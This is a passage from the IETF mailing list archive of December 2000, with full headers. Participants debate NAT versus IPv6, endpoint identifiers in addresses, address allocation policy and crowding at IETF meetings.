actually a series of technology changes - the phases from government and unviersity and dial up, and dsl, and cable modem, and now mobile are all subtly different (as witness they have their own ISP cultures and own address allocation and routing headaches) - while datagram is one size fits all as a way of communicating, we need a range of address alloc and routing techniques for the different and future access and core networks....i thought most this was discussed in the whole ipng debate and was why we solicited input so widely....so now lets go (finish) coding it cheers jon From owner-ietf-outbound Mon Dec 18 04:40:21 2000 Received: by ietf.org (8.9.1a/8.9.1a) id EAA06986 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 04:40:02 -0500 (EST) Received: from uicsgtw.cs.ui.ac.id (uicsgtw.cs.ui.ac.id [152.118.24.8]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA06930 for ; Mon, 18 Dec 2000 04:36:20 -0500 (EST) Received: from caplin.cs.ui.ac.id (caplin.cs.ui.ac.id [152.118.36.9]) by uicsgtw.cs.ui.ac.id (8.9.3/8.9.3/Debian/GNU) with ESMTP id QAA31666; Mon, 18 Dec 2000 16:30:29 +0700 Received: from rmsbase.vlsm.org (IDENT:root@rmsbase.acad.cs.ui.ac.id [152.118.26.15]) by caplin.cs.ui.ac.id (8.9.3/8.9.3) with ESMTP id QAA09659; Mon, 18 Dec 2000 16:35:46 +0700 (JAVT) Received: from vlsm.org (IDENT:rms46@rmsbase.vlsm.org [152.118.26.15]) by rmsbase.vlsm.org (8.9.3/8.8.7) with ESMTP id QAA01283; Mon, 18 Dec 2000 16:31:58 +0700 Sender: rms46@VLSM.ORG Message-ID: <3A3DD98E.2F072214@vlsm.org> Date: Mon, 18 Dec 2000 16:31:58 +0700 From: "Rahmat M. Samik-Ibrahim" Organization: VLSM-TJT X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i686) X-Accept-Language: en MIME-Version: 1.0 To: James Seng/Personal CC: ietf@ietf.org Subject: Re: What is the IETF? -- A note of caution References: <3A39771B.992469EE@vlsm.org> <007001c066c2$c5fe2670$4a2bd63f@jamessonyvaio> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit James Seng/Personal wrote: >> - what should those "corporate representative" do? >> - where should they go? > The point is you dont, not in IETF. I have no problem with that, i.e. that the IETF is for individuals. But, that does not answer the issue of what should they do. regards, -- Rahmat M. Samik-Ibrahim - VLSM-TJT - http://rms46.vlsm.org --- Aku ini si gembala sapi... oie... http://sapi.vlsm.org From owner-ietf-outbound Mon Dec 18 06:40:20 2000 Received: by ietf.org (8.9.1a/8.9.1a) id GAA07560 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 06:40:02 -0500 (EST) Received: from prue.eim.surrey.ac.uk (IDENT:exim@prue.eim.surrey.ac.uk [131.227.76.5]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA07535 for ; Mon, 18 Dec 2000 06:36:10 -0500 (EST) Received: from regan.ee.surrey.ac.uk ([131.227.89.11]) by prue.eim.surrey.ac.uk with esmtp (Exim 3.16 #1) id 147yaI-00001X-00; Mon, 18 Dec 2000 11:36:02 +0000 Date: Mon, 18 Dec 2000 11:36:03 +0000 (GMT) From: Lloyd Wood X-Sender: eep1lw@regan.ee.surrey.ac.uk Reply-To: L.Wood@eim.surrey.ac.uk To: Eliot Lear cc: ietf@ietf.org Subject: Re: Announcing a new mailing list on middleware In-Reply-To: <3A3A6E06.5775F002@cisco.com> Message-ID: Organization: speaking for none X-url: http://www.ee.surrey.ac.uk/Personal/L.Wood/ X-no-archive: yes MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org On Fri, 15 Dec 2000, Eliot Lear wrote: > As I promised in the MIDCOM working group in San Diego, I've created a > mailing list for discussion on diagnostics and discovery of intermediate > devices. Here are the particulars: > > List name: march@external.cisco.com > Subscribe: majordomo@external.cisco.com > Archive: > > march is short for Middleware ARCHitecture. All I mean by that is that > how it all fits together: diagnostics, discovery, and communications > with middleware devices is in scope for this list. Beware the device IDs of March! (exits left) L. PGP From owner-ietf-outbound Mon Dec 18 07:10:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id HAA07804 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 07:10:02 -0500 (EST) Received: from igw8.watson.ibm.com (igw8.watson.ibm.com [198.81.209.20]) by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA07781 for ; Mon, 18 Dec 2000 07:09:20 -0500 (EST) Received: from sp1n189at0.watson.ibm.com (sp1n189at0.watson.ibm.com [9.2.104.62]) by igw8.watson.ibm.com (8.9.3/8.9.3/05-14-1999) with ESMTP id HAA15442; Mon, 18 Dec 2000 07:09:14 -0500 Received: from bubble.watson.ibm.com (bubble.watson.ibm.com [9.2.215.93]) by sp1n189at0.watson.ibm.com (8.9.3/Feb-20-98) with ESMTP id HAA18054; Mon, 18 Dec 2000 07:09:13 -0500 Received: (from prasad@localhost) by bubble.watson.ibm.com (8.9.3/8.9.3/04/21/2000) id HAA13611; Mon, 18 Dec 2000 07:09:12 -0500 Date: Mon, 18 Dec 2000 07:09:12 -0500 From: V Guruprasad To: "J. Noel Chiappa" Cc: ietf@ietf.org Subject: Re: Nimrod is still ugly - was: NATs *ARE* evil! Message-ID: <20001218070912.A13590@bubble.watson.ibm.com> References: <200012152250.RAA15146@ginger.lcs.mit.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <200012152250.RAA15146@ginger.lcs.mit.edu>; from jnc@ginger.lcs.mit.edu on Fri, Dec 15, 2000 at 17:50:06 -0500 X-Loop: ietf@ietf.org > If you find a way to select paths in real networks using only virtual data, > we'd all be interested to hear it. Try draft-guruprasad-addressless-internet-00.txt, and the ECUMN'2000 paper on which it was based, at http://affine.watson.ibm.com/tmp/vinet.pdf The draft doesn't yet mention the log(N) bounds on the routing complexity, but I did try to explain that real addresses are obviated at all levels. A detailed comparison of addressing and addressless principles is yet to be made, hopefully soon in the next revision and/or paper. -p. From owner-ietf-outbound Mon Dec 18 07:40:35 2000 Received: by ietf.org (8.9.1a/8.9.1a) id HAA08057 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 07:40:02 -0500 (EST) Received: from slarti.muc.de (slarti.muc.de [193.149.48.10]) by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA07974 for ; Mon, 18 Dec 2000 07:27:12 -0500 (EST) Received: (qmail 27722 invoked by uid 66); 18 Dec 2000 12:37:58 -0000 Received: from faerber by slarti with UUCP; Mon Dec 18 12:37:58 2000 -0000 Received: by faerber.muc.de (GeoZILLA/0.91b (CBM 128D; GEOS 2.5)); 18 Dec 2000 13:26:10 +0100 Date: 18 Dec 2000 13:24:00 +0100 From: claus@faerber.muc.de (=?ISO-8859-1?Q?Claus_F=E4rber?=) To: ietf@ietf.org Message-ID: <7s4vB9FJcDB@faerber.muc.de> In-Reply-To: <200012171736.MAA24076@astro.cs.utk.edu> Subject: Re: NATs *ARE* evil! X-Mailer: GeoZILLA/0.91b (CBM 128D; GEOS 2.5) X-No-Archive: yes MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id HAA07974 X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit Keith Moore schrieb/wrote: >> to make v6 work tarks end users more work than v4 ^^^^^^^^^ > if "v4" includes dealing with an increasingly severe shortage of > address space (which sooner or later implies forced renumbering) > and/or tying together multiple NATted networks, it's not at all > clear that this takes less work than v6. You missed the most important part: If I, as an end user, want to have more devices than my ISP gives me IPv4 addresses, switching to IPv6 does not help at all: I'd only be able to talk to other IPv6 hosts. NAT _does_ help. What's missing for IPv6 is a large number of other sites that support - or require - it. Claus -- http://www.faerber.muc.de From owner-ietf-outbound Mon Dec 18 07:50:10 2000 Received: by ietf.org (8.9.1a/8.9.1a) id HAA08136 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 07:50:03 -0500 (EST) Received: from sean.ebone.net (IDENT:postfix@sean.ebone.net [195.158.227.211]) by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA08024 for ; Mon, 18 Dec 2000 07:33:51 -0500 (EST) Received: by sean.ebone.net (Postfix, from userid 1113) id 460D289B; Mon, 18 Dec 2000 13:33:46 +0100 (CET) To: jnc@ginger.lcs.mit.edu, moore@cs.utk.edu Subject: Re: NATs *ARE* evil! Cc: ietf@ietf.org Message-Id: <20001218123346.460D289B@sean.ebone.net> Date: Mon, 18 Dec 2000 13:33:46 +0100 (CET) From: smd@ebone.net (Sean Doran) X-Loop: ietf@ietf.org Keith Moore writes: | but I'm fairly convinced that we are *far* better off with a global | name space for network attachment points, which are exposed and | visible to hosts and applications, than we are with only locally | scoped addresses visible to hosts and applications Out of curiosity, do you (as a hosts and applications person) really care what is in use in the network(s) between the network attachment points in question, if the edges of the network all have the properties in your lines above? Sean. From owner-ietf-outbound Mon Dec 18 08:30:10 2000 Received: by ietf.org (8.9.1a/8.9.1a) id IAA08360 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 08:30:02 -0500 (EST) Received: from web10605.mail.yahoo.com (web10605.mail.yahoo.com [216.136.130.169]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA08337 for ; Mon, 18 Dec 2000 08:29:22 -0500 (EST) Message-ID: <20001218132922.43837.qmail@web10605.mail.yahoo.com> Received: from [199.67.138.20] by web10605.mail.yahoo.com; Mon, 18 Dec 2000 05:29:22 PST Date: Mon, 18 Dec 2000 05:29:22 -0800 (PST) From: Gabriel Landowski Subject: NAT v4 vs v6 To: ietf@ietf.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Loop: ietf@ietf.org What are the differences (definitions) of v4 and v6? __________________________________________________ Do You Yahoo!? Yahoo! Shopping - Thousands of Stores. Millions of Products. http://shopping.yahoo.com/ From owner-ietf-outbound Mon Dec 18 11:11:59 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA10235 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 11:10:02 -0500 (EST) Received: from web9101.mail.yahoo.com (web9101.mail.yahoo.com [216.136.128.238]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA10205 for ; Mon, 18 Dec 2000 11:09:45 -0500 (EST) Message-ID: <20001218160940.44123.qmail@web9101.mail.yahoo.com> Received: from [216.79.62.80] by web9101.mail.yahoo.com; Mon, 18 Dec 2000 08:09:40 PST Date: Mon, 18 Dec 2000 08:09:40 -0800 (PST) From: Kevin Farley Reply-To: sixdrift@yahoo.com Subject: Re: NATs *ARE* evil! To: ietf@ietf.org Cc: ietf@ietf.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Loop: ietf@ietf.org --- Sean Doran wrote: > Keith Moore writes: > > | but I'm fairly convinced that we are *far* better off with a global > | name space for network attachment points, which are exposed and > | visible to hosts and applications, than we are with only locally > | scoped addresses visible to hosts and applications > > Out of curiosity, do you (as a hosts and applications person) > really care what is in use in the network(s) between > the network attachment points in question, if the edges > of the network all have the properties in your lines above? > > Sean. You know, concerns over global name spaces and architectural purity are valid to the engineer/operator. But to Joe User who just got his first cable modem and got rid of AOL, he just wants to connect his computer to the Internet. Then he wants to share that connection with his kids' computer and their $50 e-bay printer server. That's why so many of the little NAT gadgets are sold. Because Joe User doesn't want to shell out extra bucks for more IP addresses and Joe User needs simplicity. Also _most_ average users just want to browse the web, get their email, download software, and maybe exchange music files. It is up to the networking professionals to make sure Big Company X and Big Company Y connect when and where they have to. But its up to Joe User to manage his home network. Lets try to at least make that simple for Mr. and Mrs. Joe User. __________________________________________________ Do You Yahoo!? Yahoo! Shopping - Thousands of Stores. Millions of Products. http://shopping.yahoo.com/ From owner-ietf-outbound Mon Dec 18 11:20:14 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA10396 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 11:20:02 -0500 (EST) Received: from web9101.mail.yahoo.com (web9101.mail.yahoo.com [216.136.128.238]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA10206 for ; Mon, 18 Dec 2000 11:09:45 -0500 (EST) Message-ID: <20001218160940.44123.qmail@web9101.mail.yahoo.com> Received: from [216.79.62.80] by web9101.mail.yahoo.com; Mon, 18 Dec 2000 08:09:40 PST Date: Mon, 18 Dec 2000 08:09:40 -0800 (PST) From: Kevin Farley Reply-To: sixdrift@yahoo.com Subject: Re: NATs *ARE* evil! To: ietf@ietf.org Cc: ietf@ietf.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Loop: ietf@ietf.org --- Sean Doran wrote: > Keith Moore writes: > > | but I'm fairly convinced that we are *far* better off with a global > | name space for network attachment points, which are exposed and > | visible to hosts and applications, than we are with only locally > | scoped addresses visible to hosts and applications > > Out of curiosity, do you (as a hosts and applications person) > really care what is in use in the network(s) between > the network attachment points in question, if the edges > of the network all have the properties in your lines above? > > Sean. You know, concerns over global name spaces and architectural purity are valid to the engineer/operator. But to Joe User who just got his first cable modem and got rid of AOL, he just wants to connect his computer to the Internet. Then he wants to share that connection with his kids' computer and their $50 e-bay printer server. That's why so many of the little NAT gadgets are sold. Because Joe User doesn't want to shell out extra bucks for more IP addresses and Joe User needs simplicity. Also _most_ average users just want to browse the web, get their email, download software, and maybe exchange music files. It is up to the networking professionals to make sure Big Company X and Big Company Y connect when and where they have to. But its up to Joe User to manage his home network. Lets try to at least make that simple for Mr. and Mrs. Joe User. __________________________________________________ Do You Yahoo!? Yahoo! Shopping - Thousands of Stores. Millions of Products. http://shopping.yahoo.com/ From owner-ietf-outbound Mon Dec 18 11:30:31 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA10533 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 11:30:02 -0500 (EST) Received: from pt.com (pt.com [147.139.1.1]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA10507 for ; Mon, 18 Dec 2000 11:27:59 -0500 (EST) Received: from pt.com (localhost [127.0.0.1]) by pt.com (8.9.3+Sun/8.9.1) with ESMTP id LAA23657 for ; Mon, 18 Dec 2000 11:27:19 -0500 (EST) Received: from notes1.pt.com (notes1 [147.139.1.2]) by pt.com (8.9.3+Sun/8.9.3) with ESMTP id LAA23650; Mon, 18 Dec 2000 11:27:09 -0500 (EST) Subject: Re: NATs *ARE* evil! To: "Perry E. Metzger" Cc: ietf@ietf.org From: "Tony Dal Santo" Date: Mon, 18 Dec 2000 11:27:05 -0500 Message-ID: X-MIMETrack: Serialize by Router on notes1/PTI(Release 5.0.4a |July 24, 2000) at 12/18/2000 11:27:08 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii X-Loop: ietf@ietf.org Perry E. Metzger wrote: > They can't avoid it. They need to get their work done. They have no > way of getting registered addresses. They're told to use NAT by > organizations like ARIN, and so they do the only thing they can. I have a hard time believing ARIN is telling people to use NAT, when the customer intends these hosts to have "external visibility". I can believe ARIN would send you to an ISP for small address blocks. I can also believe companies don't want to pay the fees, and instead use NAT to reduce the cost. If ARIN is indeed refusing requests, on what basis are requests being granted or refused? By the use of the addresses (e.g. .org versus .com)? Are these requests for "IPv4 ISP Registration" or "Individual IPv4 Address Space Assignment to End Users"? Perry, can you provide some more details on what happened, or is this just what you were told by an ISP? > Anyone notice how odd the growth charts look for the v4 allocation > space? It is because we've already run out of addresses, folks -- or > at least we're acting as though we have. I think that is exactly it; we are acting as though we've run out of addresses. I've yet to hear of a significant effort to "reclaim" unused addresses. Recovering a single class A picks up 16 million addresses. Until such an effort occurs, I refuse to believe the address space is truely exhausted. And if the address space isn't gone, I don't see any justification for refusing reasonable requests. Now whether we can route all of these addresses is another (much different) question. And if people aren't bothering to request addresses because of routing issues, fine. Let's say that instead of saying we are out of addresses. Granted, when addresses really start getting tight, and if the next generation technology isn't ready, I can see the justification for refusing some requests. But then I'd expect a well defined criteria describing how these decisions are being made. Tony From owner-ietf-outbound Mon Dec 18 11:50:32 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA10971 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 11:50:02 -0500 (EST) Received: from watsun.cc.columbia.edu (IDENT:cu51491@watsun.cc.columbia.edu [128.59.39.2]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA10918 for ; Mon, 18 Dec 2000 11:48:17 -0500 (EST) Received: (from jaltman@localhost) by watsun.cc.columbia.edu (8.8.5/8.8.5) id LAA06223; Mon, 18 Dec 2000 11:48:13 -0500 (EST) Date: Mon, 18 Dec 2000 11:48:13 EST From: Jeffrey Altman Reply-To: jaltman@columbia.edu To: sixdrift@YAHOO.COM Cc: ietf@ietf.org, ietf@ietf.org Subject: Re: NATs *ARE* evil! In-Reply-To: Your message of Mon, 18 Dec 2000 08:09:40 -0800 (PST) Message-ID: X-Loop: ietf@ietf.org > > You know, concerns over global name spaces and architectural purity are > valid to the engineer/operator. But to Joe User who just got his first > cable modem and got rid of AOL, he just wants to connect his computer > to the Internet. Then he wants to share that connection with his kids' > computer and their $50 e-bay printer server. > > That's why so many of the little NAT gadgets are sold. Because Joe User > doesn't want to shell out extra bucks for more IP addresses and Joe > User needs simplicity. > > Also _most_ average users just want to browse the web, get their email, > download software, and maybe exchange music files. > > It is up to the networking professionals to make sure Big Company X and > Big Company Y connect when and where they have to. But its up to Joe > User to manage his home network. > > Lets try to at least make that simple for Mr. and Mrs. Joe User. Funny. I believe that is why the cable companies are giving each user 5 or 6 IP addresses. To make it easy so that the end user doesn't need to know how to manage a NAT. The answer is to give people the address space they need, not force them to understand the subtle problems that are caused by the use of NATs. You have no idea how many students complain that they can't access campus services due to the fact that Kerberos can't work through a NAT. Jeffrey Altman * Sr.Software Designer C-Kermit 7.1 Alpha available The Kermit Project @ Columbia University includes Secure Telnet and FTP http://www.kermit-project.org/ using Kerberos, SRP, and kermit-support@kermit-project.org OpenSSL. SSH soon to follow. From owner-ietf-outbound Mon Dec 18 12:00:23 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA11201 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 12:00:04 -0500 (EST) Received: from joy.songbird.com (IDENT:root@songbird.com [208.184.79.7]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA11077 for ; Mon, 18 Dec 2000 11:54:42 -0500 (EST) Received: from dcrocker.dcrocker.net (node-64-145-172-82.dslspeed.zyan.com [64.145.172.82]) by joy.songbird.com (8.9.3/8.9.3) with ESMTP id IAA06606; Mon, 18 Dec 2000 08:54:43 -0800 Message-Id: <5.0.1.4.2.20001218085100.03cb5360@joy.songbird.com> X-Sender: dhc2@joy.songbird.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.1 Date: Mon, 18 Dec 2000 08:55:27 -0800 To: Paul Hoffman / IMC From: Dave Crocker Subject: Re: Congestion control Cc: ietf@ietf.org In-Reply-To: References: <5.0.1.4.2.20001215183540.041a81f0@joy.songbird.com> <14905.24219.694732.170219@localhost.localdomain> <5.0.1.4.2.20001215183540.041a81f0@joy.songbird.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 11:25 AM 12/17/00 -0800, Paul Hoffman / IMC wrote: >WG chair says "OK, the room is now over-full. Who are there people in the >doorway or outside who intend to work actively on drafts or forming the >charter for this group? I see seven hands up. Could fourteen people who >are currently sitting or jammed up against a wall who do *not* already >plan to work actively on drafts This is among the set of reasonable procedures to follow when there is congestion. As with each technique suggested, there are benefits and there are problems. However the premise to my suggestion is that we are growing and are going acquire larger venues eventually. So let's acquire them a little sooner and avoid the pain of congestion and imperfections and inconveniences of all these congestion management techniques. d/ ps. The plea for less active attendees to move works once. It does not cover late arrivals. Taking a Draconian attitude towards active participants who arrive late is an example of the imperfection of the management techique. =-=-=-=-= Dave Crocker Brandenburg Consulting Tel: +1.408.246.8253, Fax: +1.408.273.6464 From owner-ietf-outbound Mon Dec 18 13:10:33 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA12236 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 13:10:02 -0500 (EST) Received: from tsx-prime.MIT.EDU (TSX-PRIME.MIT.EDU [18.86.0.76]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA12195 for ; Mon, 18 Dec 2000 13:07:25 -0500 (EST) Received: by tsx-prime.MIT.EDU with sendmail-SMI-8.6/1.2, id NAA02116; Mon, 18 Dec 2000 13:07:03 -0500 Date: Mon, 18 Dec 2000 13:07:03 -0500 Message-Id: <200012181807.NAA02116@tsx-prime.MIT.EDU> From: "Theodore Y. Ts'o" To: "Perry E. Metzger" CC: Keith Moore , Jon Crowcroft , smd@EBONE.NET, iab@iab.org, ietf@ietf.org In-reply-to: Perry E. Metzger's message of 17 Dec 2000 13:32:03 -0500, <874s02hpb0.fsf@snark.piermont.com> Subject: Re: NATs *ARE* evil! Phone: (781) 391-3464 X-Loop: ietf@ietf.org From: "Perry E. Metzger" Date: 17 Dec 2000 13:32:03 -0500 It certainly takes more. The amount of NAT equipment out there is astonishing, and as I said at the plenary, people are starting to pay Real Money (as in millions a year) in large organizations to keep the NATs working properly. Several layers of NAT has become common, and NATs are stateful, which means they are necessarily more of a reliability problem than routers. v6 is really no harder to use than the old v4 pre-NAT network was. It is true that v6 qua v6 does not solve the route explosion problem. It is also true that the route explosion problem is a real problem. However, it doesn't make it worse, either. Perry, The flaw in your argument is that you're assuming that the only reason to do NAT is because of the address space problem. My concern is that it may turn out that some transport/routing people may conclude that we may also need to do NAT to solve the routing problem. In which case, we're back to where we started. I'd feel a lot better if we could get key routing/transport people to sign some contract in blood stating that the IPV6 address is guaranteed to be invariant, and that any attempt to design boxes which muck with the IPV6 address in transit is architecturally out of bounds. That may seem to you to be obviously true, but I 10 years ago we assumed the same would be true for IPV4 addresses. If it turns out that we need some kind of routing identifier in the IPV6 address, whether it's the dreaded 8+8 scheme, or adding another 16 byte value in the header which router are free to muck with to our heart's content, at some level, whatever, I don't care. I'm security guy, not a routing guy, so I don't know what will work the best, and at some level, I don't care --- just so long as it works, and that we have something which *everyone* agrees will be an invariant end-point identifier, now and forever, world without end, Amen. Otherwise, 5-7 years from now, we'll be using IPV6, and there will be a need for some kind of routiing-gw/NAT boxes, and people will *still* be complaning that it's all IPSEC's fault that IPSEC doesn't work through NAT boxes, and the anti-NAT people will be complaining that the NAT folks have changed the rules again. And all that work which the IPV6 rollout folks have put into that project will in the end be for naught. - Ted From owner-ietf-outbound Mon Dec 18 13:20:14 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA12420 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 13:20:03 -0500 (EST) Received: from tsx-prime.MIT.EDU (TSX-PRIME.MIT.EDU [18.86.0.76]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA12211 for ; Mon, 18 Dec 2000 13:08:33 -0500 (EST) Received: by tsx-prime.MIT.EDU with sendmail-SMI-8.6/1.2, id MAA02050; Mon, 18 Dec 2000 12:48:06 -0500 Date: Mon, 18 Dec 2000 12:48:06 -0500 Message-Id: <200012181748.MAA02050@tsx-prime.MIT.EDU> From: "Theodore Y. Ts'o" To: smd@ebone.net CC: Chrism@ninthhouse.com, drobinson@endtoend.com, moore@cs.utk.edu, iab@iab.org, ietf@ietf.org, mdev@NORTELNETWORKS.COM, smd@ebone.net In-reply-to: Sean Doran's message of Fri, 15 Dec 2000 19:44:18 +0100 (CET), <20001215184418.3C3F3898@sean.ebone.net> Subject: Re: NATs *ARE* evil! Phone: (781) 391-3464 X-Loop: ietf@ietf.org Date: Fri, 15 Dec 2000 19:44:18 +0100 (CET) From: smd@ebone.net (Sean Doran) | It's already happening. Try running IPSec from one 10 network to | another 10 network. Much pain. Surely the "much pain" is because, as Melinda Shore indicates, some "anti-NAT fanatics" cannot understand the distinction between "who" and "where"? Historically, the IPv4 address specified "who", and not necessarily "where". NAT, for better or for worse, represents an attempt to change that historical understanding. Some would say that it is a fiat acompli, and we should just live with it. Others would say it's NAT's fault for trying to change the rules in the middle of the game. Regardless of who's "right" with respect to that argument, I'd argue that it's not productive to dwell on it. I am personally much more interested in making sure this ambiguity doesn't arise with IPv6, since even though it's fairly late in the game, we have more of a chance of fixing things here since there's much less of a deployed base. It would be *awfully* convenient if we declare up front that something is the "end point identifier" (i.e., "who"), and is forever exempt from being changed by intermediate routing entities, and if necessary, something is else the routing component (i.e., "where"), which can change. This "end point identifer" should have a canonical form, which means that using the DNS name, as some have suggested, probably isn't ideal. For better or worse, people are too used to playing DNS games where foo.g.akamai.com (for example) isn't necessarily the same host, regardless of where you are in the network. The buttom line is that we need *something* which can unambiguously serve as an end point identifier. Is it the IPV6 address? It's big enough that we probably won't have to play NAT games to gain address space. On the other hand, I've heard claims that the routing folks want to reserve the right to muck with parts of the IPV6 address to make their job easier --- which is fine, but tell us which part in advance, so we can only protect the end-point identifier part of the address in protocols like IPSEC. Other people claim that the DNS address should be the unambiguous end point identifier. But that has problems, as discussed above. NAT merely exposes and exacerbates the perceptual problem, leading to bruised knees. Indeed. And regardless of who's at "fault" for creating this particular problem, the scary part is that it's not at all obvious to me that we've fixed it for IPV6. As near as I can tell the ambiguity of what everyone will agree is something we can use as an endpoint identifer remains. The only question is (and I don't have an answer), are we too late to try fixing it now? - Ted From owner-ietf-outbound Mon Dec 18 13:30:09 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA12628 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 13:30:02 -0500 (EST) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA12467 for ; Mon, 18 Dec 2000 13:24:28 -0500 (EST) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id KAA09999; Mon, 18 Dec 2000 10:23:57 -0800 (PST) Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id eBIINt313600; Mon, 18 Dec 2000 10:23:55 -0800 X-Virus-Scanned: Mon, 18 Dec 2000 10:23:55 -0800 Nokia Silicon Valley Email Exploit Scanner Received: from Ihinden-3.iprg.nokia.com (205.226.22.76, claiming to be "spruce.iprg.nokia.com") by darkstar.iprg.nokia.com(WTS.12.69) smtpdoaTt1a; Mon, 18 Dec 2000 10:23:28 PST Message-Id: <4.3.2.7.2.20001218101622.020f3b90@mailhost.iprg.nokia.com> X-Sender: hinden@mailhost.iprg.nokia.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 18 Dec 2000 10:20:59 -0800 To: ietf@ietf.org From: Bob Hinden Subject: Re: Congestion control In-Reply-To: <5.0.1.4.2.20001218085100.03cb5360@joy.songbird.com> References: <5.0.1.4.2.20001215183540.041a81f0@joy.songbird.com> <14905.24219.694732.170219@localhost.localdomain> <5.0.1.4.2.20001215183540.041a81f0@joy.songbird.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org I find it amusing that this debate on how to handle "congestion" at IETF meetings mirrors the technical debate on congestion in the Internet. The two sides still seem to be "more bandwidth" or "apply QOS". Bob From owner-ietf-outbound Mon Dec 18 13:50:09 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA12984 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 13:50:02 -0500 (EST) Received: from mako1.telstra.net (mako1.telstra.net [203.50.0.28]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA12855 for ; Mon, 18 Dec 2000 13:41:53 -0500 (EST) Received: from tecra.telstra.net (gunk.telstra.net [203.10.60.2]) by mako1.telstra.net (8.9.2/8.9.2) with ESMTP id FAA28466; Tue, 19 Dec 2000 05:39:44 +1100 (EST) (envelope-from gih@telstra.net) Message-Id: <4.3.2.7.2.20001219052138.00ab96c0@jumble.telstra.net> X-Sender: gih@jumble.telstra.net X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 19 Dec 2000 05:39:45 +1100 To: "Theodore Y. Ts'o" From: Geoff Huston Subject: Re: NATs *ARE* evil! Cc: "Perry E. Metzger" , Keith Moore , Jon Crowcroft , smd@EBONE.NET, iab@iab.org, ietf@ietf.org In-Reply-To: <200012181807.NAA02116@tsx-prime.MIT.EDU> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 12/18/00 01:07 PM -0500, Theodore Y. Ts'o wrote: >The flaw in your argument is that you're assuming that the only reason >to do NAT is because of the address space problem. My concern is that >it may turn out that some transport/routing people may conclude that we >may also need to do NAT to solve the routing problem. In which case, >we're back to where we started. > >I'd feel a lot better if we could get key routing/transport people to >sign some contract in blood stating that the IPV6 address is guaranteed >to be invariant, and that any attempt to design boxes which muck with >the IPV6 address in transit is architecturally out of bounds. That may >seem to you to be obviously true, but I 10 years ago we assumed the same >would be true for IPV4 addresses. I'm not sure that this is possible - part of the characteristics of today's Internet is that its is flattening out. The concept of hierarchical connectivity with 'upstreams' and 'downstreams' is one which appears to have relied on a high marginal cost of communications services. Now as I understand the current deployment plan there are TLAs and sub TLAs, and an apparent hierarchical view of the world again. Imagine, for a second, what the topology of the Internet would be if communications services were free. Now turn up the unit cost knob an little and do the same thought experiment. Part of the issue we faced in the Big Internet discussions, and part of the issue we face now is the semantics of the address and the level to which these semantics are overloaded. Is an address an identification of identity? A key to absolute location? A key to relative location? An encoding of the local topology? My concern, and the reason why I'm chiming on Ted's signing blood proposal is that in looking at the structure of V6 addresses, at least the structure of the immediate deployment 1/4 or so of the addresses, 